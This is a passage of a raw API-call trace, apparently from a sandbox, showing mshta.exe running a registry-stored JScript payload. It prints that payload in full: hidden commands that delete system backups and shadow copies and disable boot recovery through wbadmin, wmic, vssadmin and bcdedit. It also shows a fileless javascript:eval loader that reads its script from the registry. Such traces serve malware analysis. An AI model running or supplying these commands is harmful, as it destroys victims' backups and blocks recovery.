hFile=0x0, dwFlags=0x0) returned 0x754b0000 [0032.847] GetProcAddress (hModule=0x754b0000, lpProcName="RegisterTraceGuidsA") returned 0x7738848f [0032.847] EtwRegisterTraceGuidsA () returned 0x0 [0032.847] GetProcAddress (hModule=0x754b0000, lpProcName="RegisterTraceGuidsA") returned 0x7738848f [0032.847] EtwRegisterTraceGuidsA () returned 0x0 [0032.850] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x3ce324, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d [0032.854] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyExA") returned 0x754c4907 [0032.855] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows Script\\Features", ulOptions=0x0, samDesired=0x1, phkResult=0x3ce448 | out: phkResult=0x3ce448*=0x0) returned 0x2 [0033.051] GetVersion () returned 0x1db10106 [0033.051] DllGetClassObject (in: rclsid=0x4d0d58*(Data1=0xf414c260, Data2=0x6ac0, Data3=0x11cf, Data4=([0]=0xb6, [1]=0xd1, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbb, [6]=0xbb, [7]=0x58)), riid=0x7630ee84*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3cec34 | out: ppv=0x3cec34*=0x6ffe00) returned 0x0 [0033.051] ??2@YAPAXI@Z () returned 0x6ffe00 [0033.051] JScriptEngine5:IClassFactory:CreateInstance (in: This=0x6ffe00, pUnkOuter=0x0, riid=0x3cf5e0*(Data1=0xbb1a2ae1, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppvObject=0x3cec20 | out: ppvObject=0x3cec20*=0x2e80048) returned 0x0 [0033.051] ??2@YAPAXI@Z () returned 0x2e80048 [0033.052] GetUserDefaultLCID () returned 0x409 [0033.052] GetACP () returned 0x4e4 [0033.052] JScriptEngine5:IUnknown:AddRef (This=0x2e80048) returned 0x2 [0033.052] JScriptEngine5:IUnknown:Release (This=0x2e80048) returned 0x1 [0033.052] JScriptEngine5:IUnknown:Release (This=0x6ffe00) returned 0x0 [0033.052] ??3@YAXPAX@Z () returned 0x1 [0033.052] JScriptEngine5:IUnknown:QueryInterface (in: This=0x2e80048, riid=0x734a95b4*(Data1=0xbb1a2ae1, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppvObject=0x3cf90c | out: ppvObject=0x3cf90c*=0x2e80048) returned 0x0 [0033.052] JScriptEngine5:IUnknown:Release (This=0x2e80048) returned 0x1 [0033.053] IUnknown:AddRef (This=0x4cbe1c) returned 0x4 [0033.053] IInternetSecurityManager:MapUrlToZone (in: This=0x738896bc, pwszUrl="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();", pdwZone=0x3cf87c, dwFlags=0x0 | out: pdwZone=0x3cf87c*=0xffffffff) returned 0x800c0011 [0033.053] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0033.053] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0033.053] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0033.053] IInternetSecurityManager:ProcessUrlAction (in: This=0x738896bc, pwszUrl="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();", dwAction=0x1401, pPolicy=0x3cf880, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0x3cf880*=0x0) returned 0x0 [0033.053] IUnknown:Release (This=0x4cbe1c) returned 0x3 [0033.053] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x54) returned 0x4fc550 [0033.053] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4fbf10 [0033.053] GetCurrentThreadId () returned 0x664 [0033.053] ??2@YAPAXI@Z () returned 0x6ffe00 [0033.053] GetCurrentThreadId () returned 0x664 [0033.053] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\COM3", ulOptions=0x0, samDesired=0x20019, phkResult=0x3cf7a8 | out: phkResult=0x3cf7a8*=0x224) returned 0x0 [0033.053] GetProcAddress (hModule=0x754b0000, lpProcName="RegQueryValueExA") returned 0x754c48ef [0033.053] RegQueryValueExA (in: hKey=0x224, lpValueName="COM+Enabled", lpReserved=0x0, lpType=0x3cf79c, lpData=0x3cf7a0, lpcbData=0x3cf7a4*=0x4 | out: lpType=0x3cf79c*=0x4, lpData=0x3cf7a0*=0x1, lpcbData=0x3cf7a4*=0x4) returned 0x0 [0033.054] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0033.054] RegCloseKey (hKey=0x224) returned 0x0 [0033.054] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x762c0000 [0033.054] GetProcAddress (hModule=0x762c0000, lpProcName="CoGetObjectContext") returned 0x7630632b [0033.054] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x762c0000 [0033.054] GetProcAddress (hModule=0x762c0000, lpProcName="CoCreateInstance") returned 0x76309d0b [0033.054] CoCreateInstance (in: rclsid=0x73f123a8*(Data1=0x323, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x73f123b8*(Data1=0x146, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3cf7a4 | out: ppv=0x3cf7a4*=0x76406460) returned 0x0 [0033.054] ??2@YAPAXI@Z () returned 0x6ffe38 [0033.054] ??_U@YAPAXI@Z () returned 0x6f13c0 [0033.054] ??2@YAPAXI@Z () returned 0x6ffec8 [0033.054] ??2@YAPAXI@Z () returned 0x2e80260 [0033.055] ??2@YAPAXI@Z () returned 0x6fff00 [0033.055] GetCurrentThreadId () returned 0x664 [0033.055] GetEnvironmentVariableW (in: lpName="JS_PROFILER", lpBuffer=0x3cf748, nSize=0x27 | out: lpBuffer="") returned 0x0 [0033.055] GetCurrentThreadId () returned 0x664 [0033.055] IsValidLocale (Locale=0x409, dwFlags=0x1) returned 1 [0033.055] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x3cf7b8, cchData=6 | out: lpLCData="1252") returned 5 [0033.055] IsValidCodePage (CodePage=0x4e4) returned 1 [0033.056] GetCurrentThreadId () returned 0x664 [0033.056] GetCurrentThreadId () returned 0x664 [0033.056] CoCreateInstance (in: rclsid=0x73f115ec*(Data1=0x6c736db1, Data2=0xbd94, Data3=0x11d0, Data4=([0]=0x8a, [1]=0x23, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xb5, [6]=0x8e, [7]=0x10)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x73f115fc*(Data1=0x6c736dc1, Data2=0xab0d, Data3=0x11d0, Data4=([0]=0xa2, [1]=0xad, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x27, [7]=0xe8)), ppv=0x2e80234 | out: ppv=0x2e80234*=0x4ee318) returned 0x0 [0033.056] IUnknown:AddRef (This=0x4ee318) returned 0x2 [0033.056] GetCurrentProcessId () returned 0x35c [0033.056] GetCurrentThreadId () returned 0x664 [0033.056] GetTickCount () returned 0x1152914 [0033.056] ISystemDebugEventFire:BeginSession (This=0x4ee318, guidSourceID=0x73f116d4, strSessionName="JScript:00000860:00001636:18163988") returned 0x0 [0033.056] GetCurrentThreadId () returned 0x664 [0033.056] GetCurrentThreadId () returned 0x664 [0033.056] ??2@YAPAXI@Z () returned 0x6fff68 [0033.056] GetCurrentThreadId () returned 0x664 [0033.056] StrCmpICW (pszStr1="window", pszStr2="window") returned 0 [0033.056] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x14) returned 0x4fff18 [0033.056] CoGetObjectContext (in: riid=0x73f10270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3cf714 | out: ppv=0x3cf714*=0x4c68d8) returned 0x0 [0033.057] ??2@YAPAXI@Z () returned 0x6fffa0 [0033.057] StdGlobalInterfaceTable:IGlobalInterfaceTable:RegisterInterfaceInGlobal (in: This=0x76406460, pUnk=0x6fffa0, riid=0x73f15710*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pdwCookie=0x6fffbc | out: pdwCookie=0x6fffbc*=0x100) returned 0x0 [0033.057] StdGlobalInterfaceTable:IUnknown:QueryInterface (in: This=0x6fffa0, riid=0x762f97c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3cf698 | out: ppvObject=0x3cf698*=0x0) returned 0x80004002 [0033.057] StdGlobalInterfaceTable:IUnknown:QueryInterface (in: This=0x6fffa0, riid=0x76303e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3cf688 | out: ppvObject=0x3cf688*=0x0) returned 0x80004002 [0033.057] StdGlobalInterfaceTable:IUnknown:AddRef (This=0x6fffa0) returned 0x2 [0033.057] IUnknown:AddRef (This=0x4c68d8) returned 0x2 [0033.057] IUnknown:Release (This=0x4c68d8) returned 0x1 [0033.057] ??2@YAPAXI@Z () returned 0x2e80558 [0033.057] GetTickCount () returned 0x1152914 [0033.057] ??2@YAPAXI@Z () returned 0x2e80ba8 [0033.057] malloc (_Size=0x40) returned 0x2e80c18 [0033.057] malloc (_Size=0x104) returned 0x2e80c60 [0033.057] ??2@YAPAXI@Z () returned 0x6fffc8 [0033.057] CoGetObjectContext (in: riid=0x73f10270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3cf730 | out: ppv=0x3cf730*=0x4c68d8) returned 0x0 [0033.057] IUnknown:Release (This=0x4c68d8) returned 0x1 [0033.057] CoGetObjectContext (in: riid=0x73f10270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3cf730 | out: ppv=0x3cf730*=0x4c68d8) returned 0x0 [0033.057] IUnknown:Release (This=0x4c68d8) returned 0x1 [0033.058] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4fbf28 [0033.058] GetCurrentThreadId () returned 0x664 [0033.058] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x10) returned 0x4fbf40 [0033.058] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x20) returned 0x4ff7b8 [0033.058] GetCurrentThreadId () returned 0x664 [0033.058] realloc (_Block=0x0, _Size=0xc8) returned 0x2e80d70 [0033.058] ??2@YAPAXI@Z () returned 0x2e80e40 [0033.058] malloc (_Size=0x804) returned 0x2e80e68 [0033.058] ??2@YAPAXI@Z () returned 0x2e81678 [0033.083] malloc (_Size=0x104) returned 0x2e817e0 [0033.084] malloc (_Size=0x204) returned 0x2e818f0 [0033.084] ??3@YAXPAX@Z () returned 0x1 [0033.084] malloc (_Size=0x40) returned 0x2e81678 [0033.084] malloc (_Size=0x284) returned 0x2e81b00 [0033.084] ??2@YAPAXI@Z () returned 0x6f13d0 [0033.084] free (_Block=0x2e80e68) [0033.084] ??3@YAXPAX@Z () returned 0x1 [0033.084] free (_Block=0x2e81678) [0033.084] free (_Block=0x2e818f0) [0033.084] free (_Block=0x2e817e0) [0033.084] ??2@YAPAXI@Z () returned 0x2e81d90 [0033.085] ??2@YAPAXI@Z () returned 0x2e81dc8 [0033.085] malloc (_Size=0xc) returned 0x2e81de8 [0033.085] ??2@YAPAXI@Z () returned 0x2e81e00 [0033.085] CoGetObjectContext (in: riid=0x73f10270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3cf850 | out: ppv=0x3cf850*=0x4c68d8) returned 0x0 [0033.085] IUnknown:Release (This=0x4c68d8) returned 0x1 [0033.085] ??2@YAPAXI@Z () returned 0x2e81e48 [0033.085] CoGetObjectContext (in: riid=0x73f10270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3cf8a0 | out: ppv=0x3cf8a0*=0x4c68d8) returned 0x0 [0033.085] IUnknown:Release (This=0x4c68d8) returned 0x1 [0033.086] ??2@YAPAXI@Z () returned 0x2e81eb8 [0033.086] ISystemDebugEventFire:IsActive (This=0x4ee318) returned 0x1 [0033.086] CoGetObjectContext (in: riid=0x73f10270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3cf89c | out: ppv=0x3cf89c*=0x4c68d8) returned 0x0 [0033.086] IUnknown:Release (This=0x4c68d8) returned 0x1 [0033.086] malloc (_Size=0x658) returned 0x2e80e40 [0033.086] GetCurrentThreadId () returned 0x664 [0033.087] GetCurrentThreadId () returned 0x664 [0033.087] ??2@YAPAXI@Z () returned 0x2e81f38 [0033.087] ??2@YAPAXI@Z () returned 0x2e814a0 [0033.087] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x762c0000 [0033.088] GetProcAddress (hModule=0x762c0000, lpProcName="CLSIDFromProgIDEx") returned 0x762d0782 [0033.088] CLSIDFromProgIDEx (in: lpszProgID="WScript.Shell", lpclsid=0x3cf464 | out: lpclsid=0x3cf464*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0 [0033.089] SysStringLen (param_1=0x0) returned 0x0 [0033.090] GetProcAddress (hModule=0x762c0000, lpProcName="CoGetClassObject") returned 0x762f54ad [0033.090] CoGetClassObject (in: rclsid=0x3cf464*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), dwClsContext=0x15, pvReserved=0x0, riid=0x73f1087c*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3cf458 | out: ppv=0x3cf458*=0x2e81fa0) returned 0x0 [0033.417] malloc (_Size=0x80) returned 0x6fdcc0 [0033.418] GetVersionExA (in: lpVersionInformation=0x3ce044*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x2, dwMinorVersion=0x80, dwBuildNumber=0x7734e026, dwPlatformId=0x76b4f761, szCSDVersion="üà<") | out: lpVersionInformation=0x3ce044*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0033.418] GetUserDefaultLCID () returned 0x409 [0033.418] DllGetClassObject (in: rclsid=0x4d0d8c*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), riid=0x3cf110*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3ce7c8 | out: ppv=0x3ce7c8*=0x2e81fa0) returned 0x0 [0033.418] ??2@YAPAXI@Z () returned 0x2e81fa0 [0033.418] WshShell:IUnknown:AddRef (This=0x2e81fa0) returned 0x2 [0033.418] WshShell:IUnknown:Release (This=0x2e81fa0) returned 0x1 [0033.418] WshShell:IUnknown:QueryInterface (in: This=0x2e81fa0, riid=0x73f1087c*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3cf384 | out: ppvObject=0x3cf384*=0x2e81fa0) returned 0x0 [0033.418] WshShell:IUnknown:Release (This=0x2e81fa0) returned 0x1 [0033.419] ??2@YAPAXI@Z () returned 0x2e81fb8 [0033.419] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x3cf2e0, nSize=0x105 | out: lpFilename="C:\\Windows\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d [0033.419] lstrlenA (lpString="\\wscript.exe") returned 12 [0033.419] lstrlenA (lpString="C:\\Windows\\SysWOW64\\mshta.exe") returned 29 [0033.419] _strcmpi (_Str1="64\\mshta.exe", _Str2="\\wscript.exe") returned -1 [0033.419] _strcmpi (_Str1="64\\mshta.exe", _Str2="\\cscript.exe") returned -1 [0033.419] ??3@YAXPAX@Z () returned 0x1 [0033.419] LoadRegTypeLib (in: rguid=0x73ea14bc*(Data1=0xf935dc20, Data2=0x1cf0, Data3=0x11d0, Data4=([0]=0xad, [1]=0xb9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd5, [6]=0x8a, [7]=0xb)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x3cf484*=0x0 | out: pptlib=0x3cf484*=0x501f10) returned 0x0 [0033.426] ITypeLib:GetTypeInfoOfGuid (in: This=0x501f10, GUID=0x73ea14cc, ppTInfo=0x3cf468 | out: ppTInfo=0x3cf468*=0x5036ac) returned 0x0 [0033.426] ITypeInfo:GetRefTypeOfImplType (in: This=0x5036ac, index=0xffffffff, pRefType=0x3cf45c | out: pRefType=0x3cf45c*=0xfffffffe) returned 0x0 [0033.426] ITypeInfo:GetRefTypeInfo (in: This=0x5036ac, hreftype=0xfffffffe, ppTInfo=0x73eb501c | out: ppTInfo=0x73eb501c*=0x5036d8) returned 0x0 [0033.426] IUnknown:Release (This=0x5036ac) returned 0x1 [0033.426] IUnknown:Release (This=0x501f10) returned 0x1 [0033.426] IUnknown:AddRef (This=0x5036d8) returned 0x2 [0033.427] ITypeInfo:LocalGetIDsOfNames (This=0x5036d8) returned 0x0 [0033.427] IUnknown:Release (This=0x5036d8) returned 0x1 [0033.427] IUnknown:AddRef (This=0x5036d8) returned 0x2 [0033.427] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0033.427] ITypeInfo:LocalInvoke (This=0x5036d8) returned 0x0 [0033.427] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\HRHLN\\LWXEJ", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0033.428] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\HRHLN\\LWXEJ", cchWideChar=-1, lpMultiByteStr=0x3cf150, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\HRHLN\\LWXEJ", lpUsedDefaultChar=0x0) returned 26 [0033.428] _mbsnbcmp (_Str1=0x3cf150, _Str2=0x73ea21e8, _MaxCount=0x5) returned 0 [0033.428] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\HRHLN", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf128 | out: phkResult=0x3cf128*=0x240) returned 0x0 [0033.428] RegQueryValueExA (in: hKey=0x240, lpValueName="LWXEJ", lpReserved=0x0, lpType=0x3cf194, lpData=0x0, lpcbData=0x3cf198*=0x3d8e78 | out: lpType=0x3cf194*=0x1, lpData=0x0, lpcbData=0x3cf198*=0x164) returned 0x0 [0033.428] RegQueryValueExA (in: hKey=0x240, lpValueName="LWXEJ", lpReserved=0x0, lpType=0x3cf194, lpData=0x3cefe0, lpcbData=0x3cf198*=0x164 | out: lpType=0x3cf194*=0x1, lpData="o=new ActiveXObject(\"WScript.Shell\");o.Run(\"cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0\",0);o.Run(\"cmd.exe /c wmic SHADOWCOPY DELETE\",0);o.Run(\"cmd.exe /c vssadmin Delete Shadows /All /Quiet\",0);o.Run(\"cmd.exe /c bcdedit /set {default} recoveryenabled No\",0);o.Run(\"cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures\",0);", lpcbData=0x3cf198*=0x164) returned 0x0 [0033.428] RegCloseKey (hKey=0x240) returned 0x0 [0033.428] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cefe0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 356 [0033.428] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cefe0, cbMultiByte=-1, lpWideCharStr=0x5041ec, cchWideChar=356 | out: lpWideCharStr="o=new ActiveXObject(\"WScript.Shell\");o.Run(\"cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0\",0);o.Run(\"cmd.exe /c wmic SHADOWCOPY DELETE\",0);o.Run(\"cmd.exe /c vssadmin Delete Shadows /All /Quiet\",0);o.Run(\"cmd.exe /c bcdedit /set {default} recoveryenabled No\",0);o.Run(\"cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures\",0);") returned 356 [0033.428] IUnknown:Release (This=0x5036d8) returned 0x1 [0033.429] ??2@YAPAXI@Z () returned 0x2e81950 [0033.429] malloc (_Size=0x804) returned 0x2e81fe8 [0033.429] ??2@YAPAXI@Z () returned 0x2e81978 [0033.429] malloc (_Size=0x104) returned 0x2e827f8 [0033.429] malloc (_Size=0x204) returned 0x2e82908 [0033.429] malloc (_Size=0x404) returned 0x2e82b18 [0033.429] ??3@YAXPAX@Z () returned 0x1 [0033.429] malloc (_Size=0x40) returned 0x2e82f28 [0033.429] malloc (_Size=0x6a8) returned 0x2e82f70 [0033.430] ??2@YAPAXI@Z () returned 0x2e81fa0 [0033.430] free (_Block=0x2e81fe8) [0033.430] ??3@YAXPAX@Z () returned 0x1 [0033.430] free (_Block=0x2e82f28) [0033.430] free (_Block=0x2e82b18) [0033.430] free (_Block=0x2e82908) [0033.430] free (_Block=0x2e827f8) [0033.430] ??2@YAPAXI@Z () returned 0x2e81950 [0033.430] ??2@YAPAXI@Z () returned 0x2e81988 [0033.431] GetCurrentThreadId () returned 0x664 [0033.431] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x24) returned 0x4e1978 [0033.431] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0033.431] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0033.431] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x30) returned 0x4e87e8 [0033.432] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x30c) returned 0x5044c0 [0033.432] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x4fff38 [0033.432] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x4fff58 [0033.432] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x4fff78 [0033.432] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x4fff98 [0033.432] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x4fffb8 [0033.432] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x4fffd8 [0033.432] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x4ffff8 [0033.432] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x500018 [0033.432] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x500038 [0033.432] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x500058 [0033.432] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x500078 [0033.432] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x500098 [0033.432] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x10) returned 0x501990 [0033.432] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0033.432] IsCharSpaceW (wch=0x6f) returned 0 [0033.432] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0033.432] IsCharSpaceW (wch=0x6f) returned 0 [0033.432] CLSIDFromProgIDEx (in: lpszProgID="WScript.Shell", lpclsid=0x3cefec | out: lpclsid=0x3cefec*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0 [0033.432] SysStringLen (param_1=0x0) returned 0x0 [0033.432] CoGetClassObject (in: rclsid=0x3cefec*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), dwClsContext=0x15, pvReserved=0x0, riid=0x73f1087c*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3cefe0 | out: ppv=0x3cefe0*=0x2e81a08) returned 0x0 [0033.432] DllGetClassObject (in: rclsid=0x4d0d8c*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), riid=0x73f1087c*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3cefe0 | out: ppv=0x3cefe0*=0x2e81a08) returned 0x0 [0033.432] ??2@YAPAXI@Z () returned 0x2e81a08 [0033.433] ??2@YAPAXI@Z () returned 0x2e81a20 [0033.433] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x3cee68, nSize=0x105 | out: lpFilename="C:\\Windows\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d [0033.433] lstrlenA (lpString="\\wscript.exe") returned 12 [0033.433] lstrlenA (lpString="C:\\Windows\\SysWOW64\\mshta.exe") returned 29 [0033.433] _strcmpi (_Str1="64\\mshta.exe", _Str2="\\wscript.exe") returned -1 [0033.433] _strcmpi (_Str1="64\\mshta.exe", _Str2="\\cscript.exe") returned -1 [0033.433] ??3@YAXPAX@Z () returned 0x1 [0033.433] IUnknown:AddRef (This=0x5036d8) returned 0x2 [0033.433] ITypeInfo:LocalGetIDsOfNames (This=0x5036d8) returned 0x0 [0033.433] IUnknown:Release (This=0x5036d8) returned 0x1 [0033.433] IUnknown:AddRef (This=0x5036d8) returned 0x2 [0033.434] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0033.434] ITypeInfo:LocalInvoke (This=0x5036d8) returned 0x0 [0033.434] ExpandEnvironmentStringsW (in: lpSrc="cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0", lpDst=0x3ce4fc, nSize=0x400 | out: lpDst="cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0") returned 0x3c [0033.434] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x75670000 [0033.434] GetProcAddress (hModule=0x75670000, lpProcName="ShellExecuteExW") returned 0x75691e46 [0033.434] ShellExecuteExW (in: pExecInfo=0x3cecc8*(cbSize=0x3c, fMask=0x400, 